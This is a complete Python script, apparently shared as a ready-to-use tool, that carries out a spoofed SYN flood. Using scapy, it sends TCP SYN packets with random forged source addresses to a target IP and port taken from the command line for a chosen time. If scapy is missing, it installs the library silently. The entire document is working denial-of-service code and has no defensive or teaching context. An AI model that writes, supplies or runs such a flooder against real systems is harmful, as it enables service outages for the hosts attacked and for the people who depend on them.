Spoofed SYN attack (ssyn.py) (ZATAKAI)

try:
    from scapy.all import *
except:
    import os
    os.system('pip install scapy 1>/dev/null 2>/dev/null')
    from scapy.all import *
import sys
import time
import random
try:
    ip = sys.argv[1]
    port = int(sys.argv[2])
    timeout = float(sys.argv[3])
except:
    print("Usage: python {} <IP> <PORT> <TIME>".format(sys.argv[0]))
    quit()

def DDOS(ip, port, timeout):
    end = time.time() + float(timeout)
    c = 0
    while time.time() < end:
        try:
            source = str(random.randrange(1, 256)) + "." + str(random.randrange(1, 256)) + "." + str(random.randrange(1, 256)) + "." + str(random.randrange(1, 256))
            netlayer = IP(src=source, dst=ip)
            transp_layer = TCP(sport=6969, dport=port, flags="S")
            send(netlayer/transp_layer, verbose=False)
        except: pass
        c += 1
        sys.stdout.write('\r{} Packets sent'.format(c))
        sys.stdout.flush()
DDOS(ip, port, timeout)